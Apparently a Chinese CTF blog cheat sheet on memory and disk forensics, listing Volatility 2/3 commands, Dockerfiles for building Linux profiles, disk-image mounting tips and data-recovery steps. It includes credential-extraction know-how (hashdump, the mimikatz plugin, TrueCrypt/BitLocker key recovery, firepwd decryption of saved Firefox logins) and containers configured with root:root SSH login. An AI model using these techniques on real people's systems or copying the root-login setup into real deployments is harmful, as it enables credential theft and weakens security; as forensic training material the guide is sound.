shellbags 打印Shellbags信息
shimcache 解析应用程序兼容性Shim缓存注册表项
shutdowntime 从内存中的注册表信息获取机器关机时间
sockets 打印已打开套接字列表
sockscan TCP套接字对象池扫描
ssdt 显示SSDT条目
strings 物理到虚拟地址的偏移匹配(需要一些时间,带详细信息)
svcscan Windows服务列表扫描
symlinkscan 符号链接对象池扫描
thrdscan 线程对象池扫描
threads 调查_ETHREAD 和_KTHREADs
timeliner 创建内存中的各种痕迹信息的时间线
timers 打印内核计时器及关联模块的DPC
truecryptmaster Recover 恢复TrueCrypt 7.1a主密钥
truecryptpassphrase 查找并提取TrueCrypt密码
truecryptsummary TrueCrypt摘要信息
unloadedmodules 打印卸载的模块信息列表
userassist 打印注册表中UserAssist相关信息
userhandles 转储用户句柄表
vaddump 转储VAD数据为文件
vadinfo 转储VAD信息
vadtree 以树形方式显示VAD树信息
vadwalk 显示遍历VAD树
vboxinfo 转储Virtualbox信息(虚拟机)
verinfo 打印PE镜像中的版本信息
vmwareinfo 转储VMware VMSS/VMSN 信息
volshell 内存镜像中的shell
windows 打印桌面窗口(详细信息)
wintree Z顺序打印桌面窗口树
wndscan 池扫描窗口站
yarascan 以Yara签名扫描进程或内核内存
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# 识别操作系统的基本信息
vol.py -f mem.dump imageinfo
# 查看进程
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 pslist
# 查看隐藏或者解链的进程
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 pstree
# 通过memdump爆破出进程对应的信息
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 memdump -p 3036 --dump-dir=./
# 扫描镜像中的服务
vol.py --plugins=/home/kali/volatility/volatility/plugins -f mem.raw --profile=Win7SP1x64 svcscan
# 扫描进程缓存的文件
vol.py -f memory.raw --profile=Win7SP1x64 filescan
# 查找特定后缀的文件
vol.py -f example.raw --profile=Win7SP1x64 filescan | grep -E 'txt|png|jpg|gif|zip|rar|7z|pdf|doc'
# 查找指定文件夹下的文件
volatility -f example.raw --profile=Win7SP1x64 filescan | grep TMP_User
# 使用dumpfiles爆破文件内容(有时可能会出现vol2提取不了但是vol3可以的情况,也可以使用 R-stdio 工具提取)
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007e410890 --dump-dir=./
# 查看进程环境变量
vol.py -f memory.raw --profile=Win7SP1x64 envars
# 扫描进程命令行参数
vol.py -f memory.raw --profile=Win7SP1x64 cmdscan
vol.py -f memory.raw --profile=Win7SP1x64 cmdline
# 扫描动态库列表
# 可使用-p参数指定PID号
vol.py -f memory.img --profile=Win2003SP1x86 dlllist
vol.py -f memory.img --profile=Win2003SP1x86 ldrmodules
# 扫描系统中的恶意软件
vol.py -f memory.img --profile=Win2003SP1x86 malfind
# 查看当前镜像中的用户
vol.py --plugins=/home/kali/volatility/volatility/plugins -f mem.raw --profile=Win7SP1x64 printkey -K "SAM\Domains\Account\Users\Names"
# 查看镜像中的用户名和密码(hash值)
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 hashdump
# 使用mimikatz插件快速获取用户密码
vol.py --plugins=/home/c3ngh/tools/volatility/volatility/plugins -f mem.dump --profile=Win7SP1x64 mimikatz
# 扫描注册表数据
# 查看注册表配置单元
vol.py -f memory.raw --profile=Win7SP1x64 hivelist
# 查看注册表键值
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 printkey
# 查看注册表键名
vol.py -f memory.raw --profile=Win7SP1x64 hivedump -o 0xfffff8a001cce010(注册表Volatility地址)
# 查看网络连接状态
vol.py -f memory.raw --profile=Win7SP1x64 connscan
vol.py --plugins=/home/kali/volatility/volatility/plugins -f mem.raw --profile=Win7SP1x64 netscan
vol.py --plugins=/home/kali/volatility/volatility/plugins -f mem.raw --profile=Win7SP1x64 connections
# 查看浏览器历史记录
vol.py -f 1.vmem --profile=Win7SP1x64 iehistory
# 显示有关编辑控件的信息
vol.py -f 1.vmem --profile=Win7SP1x64 editbox
# 查看当前展示的notepad的内容
vol.py -f 1.vmem --profile=Win7SP1x64 notepad
# 获取屏幕截图
vol.py -f 1.vmem --profile=Win7SP1x64 screenshot --dump-dir=./
# 查看剪贴板信息
vol.py -f 1.vmem --profile=Win7SP1x64 clipboard
# 查看剪贴板信详细内容
vol.py -f 1.vmem --profile=Win7SP1x64 clipboard -v
# 查看运行程序相关的记录,比如最后一次更新时间,运行过的次数等
vol.py -f 1.vmem --profile=Win7SP1x64 userassist
# 最大程序提取信息
vol.py -f 1.vmem --profile=Win7SP1x64 timeliner
# 恢复被删除的文件
vol.py -f 1.vmem --profile=Win7SP1x64 mftparser
# 使用ndispktscan插件搜索内核的网络流量包信息
vol.py --plugins=/home/kali/volatility/volatility/plugins -f OtterCTF.vmem --profile=Win7SP1x64 ndispktscan
# 使用usbstor插件获取USB连接信息
vol.py --plugins=/home/kali/volatility/volatility/plugins -f OtterCTF.vmem --profile=Win7SP1x64 usbstor
# 使用VolDiff进行恶意软件检测
vol.py --plugins=/home/kali/volatility/volatility/plugins -f OtterCTF.vmem --profile=Win7SP1x64 voldiff
# 使用bitlocker插件获取Bitlocker的加密密钥
vol.py --plugins=/home/kali/volatility/volatility/plugins -f OtterCTF.vmem --profile=Win7SP1x64 bitlocker
Volatility3

识别内存的系统版本(这个有时候vol3识别不出来,但是vol2可以)

1
vol3.py -f dacong.raw banners.Banners

如果是windows10的内存镜像的话,vol2的某些功能可能用不了,因此需要vol3(例:2023 安洵杯 dacongのWindows)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 查看命令
vol3.py -h
# 扫描镜像中的文件
vol3.py -f dacong.raw windows.filescan
# 查看桌面上的文件
vol3.py -f dacong.raw windows.filescan | grep Desktop
# 提取文件
vol3.py -f mem.raw windows.dumpfiles --virtaddr="0x0000e0007ad17f20"
# 扫描注册表(感觉这个功能vol2的更好)
vol3.py -f dacong.raw windows.registry.printkey
vol3.py -f dacong.raw windows.registry.hivelist
# 扫描命令行记录
vol3.py -f dacong.raw windows.cmdline
# 查看网络使用状态、端口占用状态
vol3.py -f dacong.raw windows.netscan
vol3.py -f dacong.raw windows.netstat
# 查看系统中的进程
vol3.py -f dacong.raw windows.pslist
vol3.py -f dacong.raw windows.pstree

一些特殊进程

便签:StikyNot.exe (.snt 文件路径在C:\Users\XXX\AppData\Roaming\Microsoft\Sticky Notes\)【这个文件需要用Win7的便签或者记事本打开】

画图:mspaint.exe(这个进程可以用 memdump 导出 dmp 文件,然后改后缀为.data拖入Gimp中调整位移和分辨率,例:2024 NKCTF)

联系人:wab.exe (.contact 文件)

一些特殊文件

evtx - Windows系统日志

dat - 无法导出可以加上 -u 参数:volatility -f mem.data dumpfiles -r pdf$ -i --name -D dumpfiles/ -u

Linux内存取证

取证过程中一定要记得查看镜像桌面上的文件!

制作 Profile(Vol2) 的详细过程

Identify the profile for Linux

1
strings mem | grep -i 'Linux version' | uniq
1
Linux version 5.10.0-21-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.162-1 (2023-01-21)

Tips: Ubuntu 22.04 目前是不支持用 Vol2 进行取证的,必须使用 Vol3

1
2
3
# 例题:2022 Sekai CTF | symbolic-needs 1
# 题目附件的内核版本:
Ubuntu 22.04 Linux-version 5.15.0-43-generic

Try to find profile on Github

如果找不到需要的profile,就需要进行下面的步骤,自己手动制作profile了

Make the profile by yourself

一个profile的结构如下:其实一共就两个文件

1
2
Debian5010\boot\System.map-2.6.26-2-amd64
Debian5010\volatility\tools\linux\module.dwarf

这里以 Linux version 5.10.0-21-amd64 这个内核为例

示例项目已开源在 Lunatic的Github仓库

参考资料:巨魔大佬的博客

首先要到 官方仓库下载以下几个文件

1
2
3
4
linux-headers-5.10.0-21-amd64_5.10.162-1_amd64.deb
linux-headers-5.10.0-21-common_5.10.162-1_all.deb
linux-image-5.10.0-21-amd64-dbg_5.10.162-1_amd64.deb
linux-image-5.10.0-21-amd64-unsigned_5.10.162-1_amd64.deb

然后解压 linux-image-5.10.0-21-amd64-dbg_5.10.162-1_amd64.deb 这个文件

将下面这个文件复制出来

1
linux-image-5.10.0-21-amd64-dbg_5.10.162-1_amd64\data\usr\lib\debug\boot\System.map-5.10.0-21-amd64

然后用 Docker 构建镜像制作 dwarf 文件,用于构建的 Dockerfile 文件如下:修改自巨魔的开源项目

Tips:使用前需要把上面那四个文件放到 Dockerfile 同一目录下,构建好后进入容器,dwarf 文件在/app目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
FROM debian:11.8

COPY ./service/docker-entrypoint.sh /docker-entrypoint.sh
COPY ./src/ /src/

RUN sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \
&& sed -i 's/security.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \
&& apt update --no-install-recommends\
&& apt install -y openssh-server linux-kbuild-5.10 gcc-10 dwarfdump build-essential unzip linux-compiler-gcc-10-x86 \
&& chmod +x /docker-entrypoint.sh \
&& mkdir /app \
&& sed -i 's/\#PermitRootLogin prohibit-password/PermitRootLogin yes/g' /etc/ssh/sshd_config \
&& sed -i 's/\#PasswordAuthentication yes/PasswordAuthentication yes/g' /etc/ssh/sshd_config \
&& echo 'root:root' | chpasswd \
&& systemctl enable ssh \
&& service ssh start

WORKDIR /src

COPY linux-headers-5.10.0-21-amd64_5.10.162-1_amd64.deb linux-headers-5.10.0-21-amd64_5.10.162-1_amd64.deb
COPY linux-headers-5.10.0-21-common_5.10.162-1_all.deb linux-headers-5.10.0-21-common_5.10.162-1_all.deb
COPY linux-image-5.10.0-21-amd64-dbg_5.10.162-1_amd64.deb linux-image-5.10.0-21-amd64-dbg_5.10.162-1_amd64.deb
COPY linux-image-5.10.0-21-amd64-unsigned_5.10.162-1_amd64.deb linux-image-5.10.0-21-amd64-unsigned_5.10.162-1_amd64.deb

RUN unzip tool.zip \
&& dpkg -i linux-headers-5.10.0-21-common_5.10.162-1_all.deb \
&& dpkg -i linux-image-5.10.0-21-amd64-dbg_5.10.162-1_amd64.deb \
&& dpkg -i linux-headers-5.10.0-21-amd64_5.10.162-1_amd64.deb

RUN apt --fix-broken install \
&& apt install -y kmod linux-base initramfs-tools \
&& dpkg -i linux-image-5.10.0-21-amd64-unsigned_5.10.162-1_amd64.deb \
&& apt --fix-broken install -y \
&& dpkg -i linux-image-5.10.0-21-amd64-unsigned_5.10.162-1_amd64.deb

WORKDIR /src/linux

RUN echo 'MODULE_LICENSE("GPL");' >> module.c && \
sed -i 's/$(shell uname -r)/5.10.0-21-amd64/g' Makefile && \
make && \
mv module.dwarf /app

CMD ["/bin/bash"]
1
2
docker build --tag profile .
docker run -p 2022:22 -it profile /bin/sh

SSH连接容器映射出来的端口,将 dwarf 文件复制出来,然后和之前的 systemmap 文件一起打包为 Debian_5.10.0-21-amd64_profile.zip

最后将这个 zip 文件放到 ~/volatility/volatility/plugins/overlays/linux/ 路径下即可

使用 vol.py --info | grep Profile | grep Linux 命令查看 profile 是否成功加载

image

制作 symbols(Vol3) 的详细过程

识别内存镜像的系统版本

1
strings mem | grep -i 'Linux version' | uniq
1
2
Linux version 5.4.0-100-generic (buildd@lcy02-amd64-002) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) 
# 113-Ubuntu SMP Thu Feb 3 18:43:29 UTC 2022 (Ubuntu 5.4.0-100.113-generic 5.4.166)

然后要找到和这个系统版本一模一样的内核,注意一定要一模一样

内核文件类似于下面这样

1
linux-image-unsigned-5.4.0-100-generic-dbgsym_5.4.0-100.113_amd64.ddeb

Ubuntu的内核可以去这个网站上找:https://launchpad.net/ubuntu/+source/linux/5.4.0-100.113

找到内核文件之后的操作可以使用Lunatic师傅写的 Dockerfile 辅助完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
FROM ubuntu:20.04

# 将环境设置为非交互环境
ENV DEBIAN_FRONTEND=noninteractive

COPY ./src/ /src/

RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \
&& sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \
&& apt update --no-install-recommends\
&& apt install -y openssh-server gcc-10 dwarfdump build-essential unzip \
&& mkdir /app \
&& sed -i 's/\#PermitRootLogin prohibit-password/PermitRootLogin yes/g' /etc/ssh/sshd_config \
&& sed -i 's/\#PasswordAuthentication yes/PasswordAuthentication yes/g' /etc/ssh/sshd_config \
&& echo 'root:root' | chpasswd \
&& systemctl enable ssh \
&& service ssh start

WORKDIR /src

# 这里的文件名需要根据系统版本进行修改
COPY ./src/linux-image-unsigned-5.4.0-100-generic-dbgsym_5.4.0-100.113_amd64.ddeb linux-image-unsigned-5.4.0-100-generic-dbgsym_5.4.0-100.113_amd64.ddeb

RUN dpkg -i linux-image-unsigned-5.4.0-100-generic-dbgsym_5.4.0-100.113_amd64.ddeb \
&& chmod +x dwarf2json \
# 下面这里的文件名需要根据系统版本进行修改
&& ./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.4.0-100-generic > linux-image-5.4.0-100-generic.json


CMD ["/bin/bash"]
1
2
docker build --tag profile .
docker run -p 2022:22 -it profile /bin/sh

SSH连接容器映射出来的端口,然后将json文件放到 volatility3/volatility3/framework/symbols/linux/ 目录下即可

Volatility2

官方文档

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# 查看Profile是否载入成功
vol.py --info | grep Profile | grep Linux
# 查看内核和发行版信息
vol.py -f mem --profile=LinuxDebian_5_10_0-21-amd64_profilex64 linux_banner
# 查看命令行记录
vol.py -f mem --profile=LinuxDebian_5_10_0-21-amd64_profilex64 linux_bash
# 查看桌面上的文件
vol.py -f 1.mem --profile=LinuxUbuntu_5_4_0-100-amd64_profilex64 linux_find_file -L | grep "Desktop"
# 提取文件
vol.py -f 1.mem --profile=LinuxUbuntu_5_4_0-100-amd64_profilex64 linux_find_file -i 0xffff9ce28fe300e8 -O
# 恢复文件系统
sudo python2 ~/volatility/vol.py -f mem --profile=LinuxUbuntu_5_4_0-100-amd64_profilex64 linux_recover_filesystem --dump-dir=./
# 查看进程
vol.py -f mem --profile=LinuxDebian_5_10_0-21-amd64_profilex64 linux_pslist
# 查看进程打开的文件
vol.py -f mem --profile=LinuxDebian_5_10_0-21-amd64_profilex64 linux_lsof
# 查看正在运行的进程
vol.py -f mem --profile=LinuxDebian_5_10_0-21-amd64_profilex64 linux_psaux
# 查看网络状态
vol.py -f mem --profile=LinuxDebian_5_10_0-21-amd64_profilex64 linux_netstat
# 查看挂载了哪些文件系统
vol.py -f mem --profile=LinuxDebian_5_10_0-21-amd64_profilex64 linux_mount
# 查看已加载的内核模块
vol.py -f mem --profile=LinuxDebian_5_10_0-21-amd64_profilex64 linux_lsmod
# 查看隐藏的内核模块
vol.py -f mem --profile=LinuxDebian_5_10_0-21-amd64_profilex64 linux_hidden_modules
# 查看可疑的进程
vol.py -f mem --profile=LinuxDebian_5_10_0-21-amd64_profilex64 linux_malfind
# 恢复Truecrypt密钥(需要yara模块,然后使用上可能有点问题)
vol.py -f mem --profile=LinuxDebian_5_10_0-21-amd64_profilex64 linux_truecrypt_passphrase
# 在内存转储中打开一个shell
vol.py -f mem --profile=LinuxDebian_5_10_0-21-amd64_profilex64 linux_volshell -v

Volatility Foundation Volatility Framework 2.6.1
WARNING : volatility.debug : Overlay structure cpuinfo_x86 not present in vtypes
WARNING : volatility.debug : Overlay structure cpuinfo_x86 not present in vtypes
Current context: process systemd, pid=1 DTB=0x2080000
Welcome to volshell! Current memory image is:
file:///mnt/c/Users/GoodLunatic/Desktop/1/mem
To get help, type 'hh()'
>>> hh()

Use addrspace() for Kernel/Virtual AS
Use addrspace().base for Physical AS
Use proc() to get the current process object
and proc().get_process_address_space() for the current process AS
and proc().get_load_modules() for the current process DLLs

addrspace() : Get the current kernel/virtual address space.
cc(offset=None, pid=None, name=None, physical=False) : Change current shell context.
db(address, length=128, space=None) : Print bytes as canonical hexdump.
dd(address, length=128, space=None) : Print dwords at address.
dis(address, length=128, space=None, mode=None) : Disassemble code at a given address.
dq(address, length=128, space=None) : Print qwords at address.
dt(objct, address=None, space=None, recursive=False, depth=0) : Describe an object or show type info.
find(needle, max=1, shift=0, skip=0, count=False, length=128) :
getmods() : Generator for kernel modules (scripting).
getprocs() : Generator of process objects (scripting).
hh(cmd=None) : Get help on a command.
list_entry(head, objname, offset=-1, fieldname=None, forward=True, space=None) : Traverse a _LIST_ENTRY.
modules() : Print loaded modules in a table view.
proc() : Get the current process object.
ps() : Print active processes in a table view.
sc() : Show the current context.
For help on a specific command, type 'hh(<command>)'
Volatility3
1
2
3
4
5
6
7
8
9
# 查看当前都有哪些 Profile 可用
vol3.py IsfInfo | grep linux
# 查看bash历史记录
vol3.py -f 1.mem linux.bash
# 扫描进程
vol3.py -f 1.mem linux.pslist
# 列出子进程
vol3.py -f 1.mem linux.pstree
# 扫描文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
linux.bash.Bash     Recovers bash command history from memory.
linux.capabilities.Capabilities
Lists process capabilities
linux.check_afinfo.Check_afinfo
Verifies the operation function pointers of network protocols.
linux.check_creds.Check_creds
Checks if any processes are sharing credential structures
linux.check_idt.Check_idt
Checks if the IDT has been altered
linux.check_modules.Check_modules
Compares module list to sysfs info, if available
linux.check_syscall.Check_syscall
Check system call table for hooks.
linux.elfs.Elfs Lists all memory mapped ELF files for all processes.
linux.envars.Envars
linux.envvars.Envvars
Lists processes with their environment variables
linux.iomem.IOMem Generates an output similar to /proc/iomem on a running system.
linux.keyboard_notifiers.Keyboard_notifiers
Parses the keyboard notifier call chain
linux.kmsg.Kmsg Kernel log buffer reader
linux.lsmod.Lsmod Lists loaded kernel modules.
linux.lsof.Lsof Lists all memory maps for all processes.
linux.malfind.Malfind
Lists process memory ranges that potentially contain injected code.
linux.mountinfo.MountInfo
Lists mount points on processes mount namespaces
linux.proc.Maps Lists all memory maps for all processes.
linux.psaux.PsAux Lists processes with their command line arguments
linux.pslist.PsList
Lists the processes present in a particular linux memory image.
linux.psscan.PsScan
Scans for processes present in a particular linux image.
linux.pstree.PsTree
Plugin for listing processes in a tree based on their parent process ID.
linux.sockstat.Sockstat
Lists all network connections for all processes.
linux.tty_check.tty_check
Checks tty devices for hooks

MacOS内存取证

Volatility2
Volatility3
识别不出内存镜像版本的取证

直接使用 010 手搓或者用 Strings 命令把可打印字符保存到文本文件中再手搓

需要从内存中找到 AES 解密的 key 的情况:可以使用 findaes.exe 工具辅助查找

image

用来制作内存镜像的工具

1、Volatility
2、FTK Imager
3、Magnet RAM Capture
4、Belkasoft Live RAM Capturer
5、WinPMEM
6、Rekall
7、DumpIt
8、OSForensics

dmp文件

1、拉入Passware Kit Forensic-Memory Analysis进行分析(用户名和密码)

2、使用vol分析

dump文件

1
"dmp" 通常特指 Windows 的崩溃转储文件,而 "dump" 是一个更为通用的术语,可以用于描述各种数据转储操作或文件。

取证方法大致和dmp文件相同

mem文件

1
vol.py -f mem imageinfo

raw文件

可以直接使用 vol2 或者 vol3 进行内存取证

磁盘取证

Tips:1、同一个镜像文件,不同的密码可以挂载出不同的盘,里面的数据也不同

VeraCrypt

解密&挂载磁盘的步骤:

1.选择要挂载的加密盘,然后选择一个没有被占用的盘符再点击左下角的加载

image

2.输入加密盘的密钥,或者直接使用密钥文件(图片文件也可以)

​ 如果这里加载失败,可以点击下面的加密卷工具,把密钥给改了,然后使用自己更改后的密钥挂载

取证大师

没啥好说的,直接把硬盘镜像文件拉进去梭就行

fat文件

1
FAT格式: 即FAT16,这是MS-DOS和最早期的Win 95操作系统中最常见的磁盘分区格式。它采用16位的文件分配表,能支持最大为2GB的分区,几乎所有的操作系统都支持这一种格式。

1、可以使用veracrypt挂载到本地,然后用资源管理器打开

2、如果挂载后资源管理器打不开,可以使用winhex-工具-打开磁盘查看

VMDK文件

可以用Imdisk挂载到本地

1、可以使用Diskgenius-磁盘-打开虚拟磁盘文件

2、可以使用Imdisk挂载到本地,然后用everything进行搜索

3、可以使用7zip打开然后解压缩

4、可以使用FTK、Vera挂载

E01文件

1、若有BitLocker加密并提供了内存镜像,就拉入Passware Kit Forensic-Decrypt Disk-BitLocker进行爆破解密

​ 解密后会得到一个G-decrypted.dd,然后用 FTK image 打开

2、提供的 E01 文件可能有好几部分,BitLocker加密的密钥可能藏在其中一部分中,建议用 FTK image 查看一下

​ FTK image 直接提取文件可能会有点问题(加密压缩包、根目录文件看不到),建议还是直接 mount 到本地然后再提取

3、高版本FTK报错可以试试低版本,4.2比较稳定

ad1文件

ad1文件是用 FTKimage 制作的磁盘镜像,因此可以使用 FTKimage 进行挂载

VHD文件

vhd 是 Virtual Hard Disk 虚拟磁盘的缩写,是一种用于存储虚拟机磁盘镜像的文件格式

可以在 Windows 系统下直接挂载,也可以拉入 DiskGenius 打开查看

如果有Bitlocker可以使用x-way提取一个.dd文件再进行爆破,新版本的Elcomsoft Forensic Disk Decryptor支持.vhd格式直接解Bitlocker

磁盘取证的一些思路

查看Powershell的历史记录

用户的powershell历史记录会保存在这个路径下
\Users\test\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

仿真取证

使用FTK Imager + VMware就行,Hyper-V的兼容性问题还有待考证

【电子取证:镜像仿真篇】DD、E01系统镜像动态仿真 - ldsweely - 博客园

步骤:

  1. 以管理员形式打开vm
  2. 新建虚拟机
  3. 自定义
  4. 稍后安装
  5. 选择你的系统
  6. 选择安装位置
  7. BIOS
  8. 自己分配处理器和内存(如果有时候蓝屏则调高内存或许可行
  9. 默认(NAT)
  10. 默认(推荐)
  11. SATA
  12. 使用物理磁盘
  13. 设备选择刚刚挂载的PhysicalDrive
  14. 下一步

网站取证

1、直接拿D_safe扫描可疑文件

服务器取证

硬盘镜像文件后缀: .qcow2

Mysql5.7 数据库从qp.xb文件恢复数据

需要安装并使用qpress和xtrabackup

1
2
wget "http://docs-aliyun.cn-hangzhou.oss.aliyun-inc.com/assets/attach/183466/cn_zh/1608011575185/qpress-11-linux-x64.tar"
wget https://www.percona.com/downloads/XtraBackup/Percona-XtraBackup-2.4.9/binary/redhat/7/x86_64/percona-xtrabackup-24-2.4.9-1.el7.x86_64.rpm
1
2
3
4
5
6
7
8
9
10
chmod 775 qpress
cp qpress /usr/bin

cat filename.xb | xbstream -x -v -C /www/server/data
cd /www/server/data
innobackupex --decompress --remove-original /www/server/data
#下一步可能会报错,但是不影响
innobackupex --defaults-file=/etc/my.cnf --apply-log /www/server/data
# 修改该目录所属的用户和用户组
chown -R mysql:mysql /www/server/data

其他

1、磁盘恢复

拉到 kali 中用 extundelete

extundelete --restore-all disk-image

之后在所在目录会生成一个恢复文件

2、浏览器登录凭证破解

Firefox登录凭证破解

使用Firepwd工具破解,将key4.db、logins.json复制到firepwd目录下,用firepwd.py破解

1
python firepwd.py logins.json

其他题目

FAS文件

AutoCAD插件的一个中间文件格式,可以反编译(2024 赣育杯)

fas文件格式研究 - AutoLISP/Visual LISP 编程技术 - AutoCAD论坛 - 明经CAD社区 - Powered by Discuz!

Hopfengetraenk/Fas-Disasm: Fas-Disassembler/Decompiler for AutoCAD Visual Lisp

 评论
评论插件加载失败
正在加载评论插件
总字数 66.5k 访客数 访问量